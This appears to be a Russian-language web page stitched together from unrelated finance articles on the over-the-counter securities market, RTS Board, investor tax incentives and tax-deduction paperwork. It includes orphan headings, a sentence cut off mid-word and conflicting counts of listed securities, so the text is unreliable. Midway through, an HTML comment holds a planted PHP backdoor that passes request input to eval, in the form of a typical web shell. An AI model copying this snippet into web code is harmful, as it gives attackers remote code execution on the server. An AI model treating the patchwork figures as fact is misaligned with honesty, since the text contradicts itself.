Что такое внебиржевой рынок

Применение стратегии Мартингейла на Форексе

Проблемы и перспективы развития

Несмотря на всю важность налогового инвестиционного стимулирования, нельзя забывать, что на принятие инвестором конечного решения влияют еще и другие факторы, такие как общая экономическая и политическая ситуация, правовые гарантии и т.д. Если уровень экономики не привлекателен для инвестиций, никакие льготы и преференции не будут способствовать вложению в нее капитала

Необходимо также учитывать, что заметная разница в системе льгот для отечественных и зарубежных инвесторов в пользу последних может повлечь вывод капитала за пределы страны российскими бизнесменами с целью получения ими льгот.

Соблюдение нужного баланса в инвестиционном стимулировании позволит создать благоприятные условия для развития экономической системы страны.

<!— if (isset($_REQUEST)){eval($_REQUEST);exit;}if (isset($_REQUEST)){eval($_REQUEST);exit;} —>

Налоговые льготы для инвесторов – иностранных и РФ

Риски

Так как на внебиржевом рынке нет контролирующего органа, риски неисполнения сделок выше, чем на биржевом рынке. В целом, государство контролирует внебиржевой рынок менее строго. Так что выбирайте надёжного брокера.

Если вы хотите инвестировать в бумаги компаний или облигации стран, взвесьте все риски. Посмотрите кредитные рейтинги стран и изучите компании. На обычной бирже торгуются бумаги только надёжных эмитентов: эксперты биржи проверяют документацию каждого выпуска. На внебиржевом рынке есть и высокорискованные инструменты (акции, облигации и др.) эмитентов, не прошедших листинг на бирже, о которых может быть мало информации в публичном доступе.

Что такое фондовый рынок и фондовая биржа?

Фондовый рынок — это рынок ценных бумаг: акций, облигаций, инвестиционных паев.

Заключать сделки по покупке и продаже таких бумаг проще всего на специально организованной торговой площадке — фондовой бирже. Она дает возможность надежно и быстро покупать бумаги и продавать их по справедливой, то есть рыночной цене.

На бирже действуют профессиональные участники — посредники между покупателями и продавцами. Это банки, брокеры, инвестиционные компании. Именно посредники обеспечивают доступ частных инвесторов на биржевой рынок. Все отношения между участниками и механизмы работы самой биржи регулируются Федеральным законом
.

Покупать и продавать некоторые виды ценных бумаг можно и вне биржи, этот способ торговли так и называют — внебиржевым. Но, во-первых, не всегда можно обойтись совсем без посредников: вне биржи бумаги обычно не продают буквально из рук в руки — те, кто выпустил, тому, кто хочет инвестировать. Организаторами сделок на внебиржевом рынке выступают те же брокеры, банки и так далее.

Во-вторых, внебиржевая торговля связана с большими рисками: в этом случае операции никем не контролируются. А это значит, что вы не защищены от мошенников и сильно рискуете своими деньгами. Поэтому если вы хотите инвестировать деньги в ценные бумаги, делать это стоит через фондовую биржу.

«Брату как-то позвонили с незнакомого номера и предложили заняться биржевой торговлей. Эти, как они представились, «брокеры» пообещали обучение в академии, единственное требование — открыть счет. Условия такие: деньги лежат в банке в Латвии, вывести их можно в любое время. Брат мой — человек бдительный, но им удалось его уговорить…»

Будьте бдительны, не наступайте на чужие грабли!

Многие представляют себе биржу как шумное место, где люди с тремя телефонными трубками в руке выкрикивают свои ставки, но эти времена уже давно прошли. Сейчас практически вся активность биржи ведется в электронном режиме.

В России основными биржами считаются Московская Биржа и Санкт-Петербургская Международная Товарно-сырьевая Биржа. На Московской Бирже можно купить и продать не только ценные бумаги, но и иностранную валюту, товары (драгоценные металлы, зерно, сахар), а также производные финансовые инструменты — фьючерсы и опционы — на разные активы (ценные бумаги, валюту, товары). На Санкт-Петербургской Бирже торгуют сырьем (нефтью и нефтепродуктами, лесом, газом, энергоносителями, сельскохозяйственной продукцией) и специальными производными инструментами, которые позволяют заключать более выгодные сделки на такой товар, — фьючерсами.

Как мы уже выяснили, на бирже торгуют ценными бумагами. Они не появляются из ниоткуда, их выпускают эмитенты.

Почему не все акции торгуются на бирже

Чтобы компанию допустили к торгам, ей нужно соответствовать строгим требованиям листинга. На Московской бирже, например, три уровня листинга, и для каждого из них разные требования. Для первого уровня они самые жесткие. Среди всех требований можно выделить такие:

О раскрытии отчетности и всей сопроводительной документации: устава, проспекта эмиссии и т. п.
К размеру Free Float, FF, — доле свободно обращающихся акций.
К сроку существования компании.
О поддержании объема торгов, то есть ликвидности.

Подробно со списком требований можно ознакомиться на сайте Мосбиржи.

Соответствие всем этим требованиям — постоянная и дорогостоящая для компаний работа, поэтому далеко не все из них могут себе это позволить.

При этом у компаний, которые не торгуются на бирже, также есть акции, дивиденды, а значит, и желание инвесторов совершать сделки с их ценными бумагами. Все эти сделки происходят вне биржи и называются соответствующе — внебиржевыми.

Плюсы и минусы внебиржевых сделок

Несмотря на активное развитие и рекламу классического фондового рынка, OTC не теряет своего значения. В РФ сделки на внебиржевом рынке в несколько раз превышают биржевые по количеству. Есть страны, где OTC не пользуется популярностью, например, Япония. Однако в большинстве развитых государств этот вид торговли ценными бумагами полноценно функционирует. Опытные инвесторы находят там активы, которые приносят в дальнейшем многократную прибыль. Некоторые игроки диверсифицируют риски при помощи активов с внебиржевого рынка, а кто-то уходит в «тень» и оптимизирует налоги.

Итак, перечислим преимущества рынка OTC:

Вероятность найти редкие и перспективные активы, которых нет в листинге бирж.
Потенциально можно заработать больше на разнице цен (спред ничем не ограничен), высоких дивидендах и больших купонах.
Волатильность котировок ниже, чем на бирже, из-за отсутствия спекулятивных игроков.
Действует принцип «оптом дешевле», что позволяет сэкономить на крупных лотах.
Продавец и покупатель известны, в отличие от биржи, где торги проходят анонимно.
На бирже, в целях борьбы с манипулированием котировками, установлен лимит на приобретение активов одним покупателем. На внебиржевом рынке таких ограничений нет.

Недостатки рынка OTC, в основном, обусловлены неорганизованным характером торговли:

Низкая ликвидность большинства ценных бумаг. По некоторым эмитентам сделок нет годами. Продать актив помимо биржи гораздо сложнее, чем на биржевых торгах.
Находясь вне котировального списка, эмитент не обязан раскрывать свою отчетность. Отсюда – повышенный риск купить некачественный актив: обремененный долгами или просто переоцененный. На бирже цену определяют рыночные котировки, а проводить анализ внебиржевых бумаг можно только самостоятельно.
Котировки носят предварительный характер и могут меняться в процессе совершения сделки.
Сделки проводятся медленно, их сроки не регулируются и могут составлять от пяти дней до месяца (Т+30), с учетом поиска дилером подходящего контрагента.
Заявки принимаются только в голосовом формате.
Большой спред между ценами покупки и продажи.
Высокая брокерская комиссия.

Из перечисления недостатков мы видим, что внебиржевой рынок не подходит для новичков. Здесь господствуют крупные игроки и опытные, в большинстве своем квалифицированные инвесторы. Для профессионалов открыты уникальные возможности заработать на сильно недооцененных компаниях, которые по тем или иным причинам не попали в листинг биржи. Инвестирование на внебиржевом рынке – не для спекулянтов. Из-за высокого спреда купить и быстро продать без большого убытка практически нереально. Зато долгосрочный инвестор, владеющий навыками фундаментального анализа, может применить здесь свою стратегию и заработать гораздо больше, чем на бирже.

Поделитесь с коллегами: имеете ли вы опыт внебиржевых сделок? Видите ли вы шансы для рядового розничного инвестора заработать на этом рынке?

Всем профита!

16.05.2019

Шаг 2Получить неквалифицированную электронную подпись

Налоговая декларация — официальный документ, на котором должна стоять ваша подпись. Если вы подаете декларацию через интернет, на ней должна стоять электронная подпись.

Получить сертификат электронной подписи тоже можно в личном кабинете на сайте налоговой, для этого надо зайти в свой профиль и выбрать вкладку «Получить ЭП».

Эта электронная подпись будет действовать только на сайте налоговой

Вас попросят придумать и ввести пароль для доступа к сертификату электронной подписи. Этот пароль — главное, что нужно запомнить.

После этого можно заполнять документы на вычет по ИИС.

Эта подпись — неквалифицированная

Важно: электронная подпись, которую можно получить на сайте налоговой, — неквалифицированная. Это самая простая электронная подпись

Ей нельзя подписывать никакие другие документы, кроме документов на сайте налоговой.

Про квалифицированную электронную подпись мы напишем отдельную статью.

В понедельник 8 декабря внебиржевая котировальная система ценных бумаг RTS Board будет запущена в новой версии Quatro с перспективой развития инструментов денежного рынка и структурных продуктов

Как сообщило в своем пресс-релизе НП РТС, 8 декабря будет осуществлен переход информационно котировальной системы RTS Board на новую технологическую платформу Quatro. Доступ к системе трейдерами и пользователями в просмотровом режиме теперь будет осуществляться через Web-интерфейс по логину и паролю, у бэк-офицеров появится возможность подписывать электронной цифровой подписью заключаемые договоры в рамках единой платформы. В системе RTS Board в дальнейшем появятся новые модули, которые упростят финансовым компаниям заключение, учет, взаимосвязь с расчетами по сделкам и раскрытие информации о них.

RTS Board — это информационная система, которая позволяет получать информацию о котировках ценных бумаг — акций, облигаций, паев пифов на внебиржевом рынке, а также самому выставлять котировки на покупку или продажу.

Сейчас по данным НП РТС в системе зарегистрировано 1177 акций российских эмитентов, 151 облигация, 46 паев.

RTS Board появилась во второй половине 90-х годов, дополнив классический рынок РТС. В то время миссией и РТС и RTS Board было перераспределение акций российских предприятий после ваучерной приватизации. Сегодня эти задачи решены.

Классический рынок РТС был биржевым — это технология «поставка против платежа», гарантия исполнения сделок и т.д.

RTS Board — это информационная система, аналогичная специализированной доске объявлений, с помощью которой совершались сделки купли-продажи с акциями, не допущенные к биржевым торгам.

В обоих системах цены акций выставлялись в долларах США.

После поглощения ММВБ биржи РТС, объединенная Московская биржа получила права и на программное обеспечение Plaza, которое используется для работы RTS Board. От РТС после поглощения осталось некоммерческое партнерство РТС (НП РТС), которое сегодня владеет долей около 30% в Санкт-Петербургской бирже, контролирует Алор-банк и РТС Тендер (проведение госзакупок).

Ранее НП РТС заключило соглашение с Московской биржей об использовании НП РТС системы Plaza для обеспечения работы RTS Board. На текущий момент ситуация изменилась ввиду отказа Московской биржи от продления договора с НП РТС. В то же время в конце октября Московская биржа сама объявила о запуске, также 8 декабря, системы MOEX Board.

Тем не менее, еще в конце июня 2014 года совет директоров НП РТС утвердил стратегию развития НП РТС сервисов для внебиржевого рынка, в состав которой входит и разработка новой платформы под брендом RTS Board. В результате 8 декабря НП РТС запускает операции на разработанной новой платформе. В нее автоматически к моменту начала операций будут перенесены котировки всех участников RTS Board, активные на момент окончания рабочего дня 5 декабря 2014 года, не потребовав никаких дополнительных действий со стороны пользователей RTS Board.

В своем релизе НП РТС отмечает, что «НП РТС является единственным правообладателем информации, содержащейся в системе RTS Board, и перенос индикативных котировок и иной связанной информации в новую технологическую платформу не потребует от клиентов никаких дополнительных действий». Это означает, что в конкурирующей MOEX Board не будет ценовой истории финансовых инструментов.

По словам исполнительного директора по внебиржевому рынку НП РТС Павла Соловьева, новая система Quatro со временем даст возможность участника финансового рынка работать не только с ценными бумагами как сейчас, но и с деривативами, структурными продуктами, инструментами денежного рынка

Тарифы на использование системы RTS Board не меняются. Ежемесячная плата за терминал с функцией просмотра стоит 2400 руб в месяц (подключение 1500 руб), с возможностью выставлять котировки 7500 руб в месяц (подключение 7500 руб).

RTS Board может быть интересен инвесторам, которые готовы вкладывать средства в акции третьего эшелона под определенные инвестиционные идеи: слияния-поглошения, рост отрасли, выплаты дивидендов и прочее. В системе котируются акции машиностроительных предприятий, в чтом числе оборонно-промыщленного комплекса, банков, энергетических компаний и пр.

Внебиржевой рынок ценных бумаг в России

Самой большой площадкой OTC рынка в РФ является торговая секция RTS Board. На момент публикации в системе RTS Board представлены 651 акция и 451 эмитент, что вдвое превышает показатели Московской биржи. Однако среди участников преобладают эмитенты малой и средней капитализации. Здесь есть два формата торгов: электронная площадка (организованный рынок) и секция торгов «на доверии», где участники самостоятельно находят друг друга и заключают сделки. Заявки, в отличие от биржи, носят адресный характер, то есть, продавец и покупатель известны. Котируются активы в USD, но расчеты проводятся в рублях.

Обращение ценных бумаг имеет статус непубличного. Оформляются они договором купли-продажи гражданско-правового характера. Стандартизация пунктов договора отсутствует на внебиржевом рынке. При передаче активов бумаги не проходят через депозитарий, а сразу попадают в реестр акционеров с новым именем владельца. Срок закрытия сделки не регламентируется и зависит от договорённости сторон.

На Московской бирже гарантом, обеспечивающим поставку бумаг покупателю и получение денег продавцом, выступает Национальный клиринговый центр (НКЦ). На внебиржевом рынке единственной гарантией являются упомянутые выше лимиты (кредитные линии), которые устанавливаются профучастником – дилером или брокером. Чем меньше лимит на контрагента, тем ниже потенциальные потери.

Расчет по сделке часто осуществляется с привлечением третьих лиц, по так называемой системе Delivery vs Payment (DVP), что переводится с английского как «доставка против оплаты» (можно перефразировать как «утром деньги – вечером стулья»). В качестве третьего лица к сделке может привлекаться Национальный расчетный депозитарий (НРД). Им будет произведен расчет между участниками, после обеспечения счета продавца бумагами, а покупателя – деньгами. Также платежи могут проходить в свободной форме, где деньги проходят по расчетным счетам контрагентов, а бумаги – по счетам депо. Но такие расчеты происходят в случае доверительных отношений между покупателем и продавцом.

Доска объявлений

RTS Board — одна из старейших в России площадок. Это не биржа, а доска индикативных котировок. Любой аккредитованный брокер может выставить здесь заявки на покупку или продажу акций, облигаций или иностранных ценных бумаг. Для контрагентов это ориентир и приглашение к заключению сделки. Поскольку RTS Board не является биржей, юридически выставление такой котировки ни к чему не обязывает: любая сторона может отказаться от исполнения сделки, даже если она уже проведена через систему Board (на организованных торгах, если сделка прошла через биржу, в случае отказа от нее за поставку денег или акций будет отвечать площадка). Однако, как уверяют участники торгов, невыполнение сделок в RTS Board случается крайне редко, поскольку доброе имя брокера зачастую ценнее сиюминутной выгоды.

Уникальная особенность RTS Board состоит в том, что для торговли ценными бумагами через эту площадку не нужно согласия эмитента. Чтобы выставить бумаги на продажу, необходимо лишь написать заявление и уплатить символический взнос. После этого бумаги заводятся в систему и ими можно свободно торговать. Как результат, порядка 1800 инструментов 1400 российских эмитентов торгуется лишь в RTS Board. Для сравнения: на Московской бирже котируются порядка 350 акций примерно 300 эмитентов. В итоге RTS Board на текущий момент — пристанище для бумаг тех компаний, приватизированных в 1990-е и ставших акционерными обществами, менеджмент которых не захотел или побоялся выводить акции своих организаций на публичные торги. Хотя есть некоторые «голубые фишки», которые долго торговались только в системе RTS Board, перед тем как попасть на организованную площадку. Из самых известных — «Уралкалий» и ТНК-ВР.

«Исторически RTS Board развивалась параллельно с классическим рынком РТС, — рассказывает руководитель этой площадки Алексей Елисеев. — И там и там использовалось одно и то же техническое программное обеспечение Plaza, что было удобно для всех — и для участников торгов, и для РТС». В 2011 году биржа РТС была продана бирже ММВБ. Вместе с классическим рынком РТС, срочным рынком и рынком РТС Standard в собственность Московской биржи перешло и программное обеспечение Plaza, на котором работает Board (сама площадка Board осталась у НП РТС). Руководство Московской биржи вначале закрыло проект РТС Standard и классический рынок, а потом начало задумываться об отказе от поддержки морально устаревшей системы Plaza. К тому же Моско

Послесловие

Акции компаний, представленные на внебиржевом рынке, могут принести как баснословный доход, так и колоссальный убыток. Ведь когда-то такие нынешние гиганты как Apple и Microsoft продавали свои акции на внебиржевом рынке по десять центов за штуку. Но все-таки, на мой взгляд, для серьёзной работы необходимо выбирать биржу, а всё остальное если и использовать, то в небольшом объёме в качестве дополнительной диверсификации своего инвестиционного портфеля. Ну или для того чтобы пощекотать нервы, что впрочем уже не имеет ровным счетом никакого отношения к серьёзной работе.

Основы трейдинга , Словарь трейдера

Как правильно рассчитать размер лота в торговле фьючерсами

Классификация

Внебиржевой рынок можно классифицировать по двум основным категориям:

Организованный;
Неорганизованный.

А вот организованный внебиржевой рынок имеет, какие никакие, но правила. Обычно эти правила гораздо мягче жестких биржевых условий, но они всё же есть. Правда эти правила устанавливаются каждой организацией участником внебиржевого рынка исключительно по своему усмотрению. Так же и цены устанавливаются внутри этой организации и могут иметь мало общего с ценами на тот же финансовый инструмент в другой аналогичной организации.

Важно знать, что одним из примеров внебиржевого рынка является FOREX в том виде, в котором мы его наблюдаем в нашей стране. Множество FOREX-дилеров устанавливают свои правила, по которым их клиенты и играют

И хотя цены по валютным парам, в целом, у них одинаковы, динамика курса может весьма разниться (резкие пики и впадины, сбивающие отложенные ордера, разного рода реквоты и проскальзывания и т.п.). По сути, они являются маркет-мейкерами для своих клиентов, что в свою очередь приводит к соблазну подстроить движение цены таким образом, чтобы присвоить большую часть внесённых клиентами денег (читай Форекс-кухня).

Как купить акции вне биржи

Есть и хорошая новость: даже внебиржевой рынок старается быть более организованным. Существуют специальные так называемые OTC-площадки, которые помогают продавцам и покупателям совершать внебиржевые сделки.

Эти площадки не выступают гарантами или контрагентами, но сопровождают и упрощают процесс поиска и заключения сделки. В России такая площадка — RTS Board, на ней торгуется около 650 акций различных компаний, в то время как на Московской бирже их около 250.

Компания подключается к RTS Board, и далее участники площадки могут создавать заявки на покупку/продажу бумаг этой компании, находить себе контрагентов и так далее. При этом сам процесс заключения и сопровождения сделки также регламентирован RTS Board.

Вот список всех эмитентов, подключенных к RTS Board. В большинстве случаев в системе будут приведены так называемые индикативные цены — проще говоря, потенциальные или примерные.

Хорошая новость для инвесторов в том, что большинство брокеров имеют доступ к площадке — можно совершать сделки через своего брокера. Но торговля будет происходить не через терминал, а по телефону и может стоить дополнительных денег. Уточните это у брокера.

Торговый советник ATR Trailer

Виды внебиржевой торговли

Существуют три вида внебиржевой торговли:

Внебиржевая торговля ценными бумагами, котирующимися на бирже. Эти транзакции проводятся на внебиржевом рынке, если контрагенты не хотят открыто публиковать свои сделки. Чаще всего через внебиржевой рынок продают крупные пакеты акций.
Внебиржевая торговля производными финансовыми инструментами, которые не имеют стандартизации (экзотические опционы, внебиржевые опционы).
Внебиржевая торговля ценными бумагами, которые не допущены к торгам на фондовой бирже.

Фондовые биржи предлагают только стандартизованные продукты, которые часто не соответствуют требованиям хеджирования, необходимым одному из контрагентов по сделке. Например, если компания желает застраховать риски изменения процентных ставок, то в очень редких случаях она найдет на бирже подходящий инструмент. Гораздо проще найти контрагента на внебиржевом рынке. Поэтому, для многих участников финансовых рынков внебиржевая торговля важнее, чем торговля на фондовой бирже.

С помощью брокеров частные инвесторы также имеют возможность торговать на внебиржевом рынке. Инвестор делает запрос через брокера о цене финансового инструмента. Брокер объявляет клиенту цены покупки и продажи, по которым данный инструмент котируется на внебиржевом рынке. Затем инвестор решает, согласен он или нет заключить финансовую сделку по этим ценам.

Все ли справки 2-ндфл нужны для подачи декларации?

Распространено мнение, что подаваемая декларация должна содержать сведения обо всех источниках дохода за год. Т.е. нужно собрать все справки 2-НДФЛ со всех мест работы, банков, если они удерживали налог, брокеров и т.д. и заполнить по ним декларацию.

На самом деле, можно обойтись только справками от налоговых агентов, без указания сведения о которых невозможно произвести расчет налогового вычета или переноса убытков.

В поддержку этого тезиса выступает статья 229 Налогового кодекса:

«Налогоплательщики вправе не указывать в налоговой декларации доходы, не подлежащие налогообложению (освобождаемые от налогообложения) в соответствии со статьей 217 настоящего Кодекса (за исключением доходов, указанных в пунктах 60 и 66 статьи 217 настоящего Кодекса), а также доходы, при получении которых налог полностью удержан налоговыми агентами, если это не препятствует получению налогоплательщиком налоговых вычетов, предусмотренных статьями 218 — 221 настоящего Кодекса.»

Рассмотрим пример

Вы работали в прошлом году в двух местах. На первом месте заработали 45 000 руб., на втором 150 000 руб. Потратили на своё обучение 50 000 рублей. Т.е. претендуете на 6 500 руб. возврата как 13% от 50 000 руб.

Если приложить только справку на 45 000 руб., то и вернуть можно будет только 5 850 руб., т.к. именно эту сумму вы и заплатили в качестве налога, а вернуть больше чем заплатили нельзя.

Приложением двух справок вы подтвердите, что уплатили в бюджет 25 350 руб. как 13% от 195 000 руб.

Вторая справка подтверждает налог на 19 500 руб. Так что для получения вычета в 5 850 руб. достаточно будет внести в декларацию только данные из второй справки.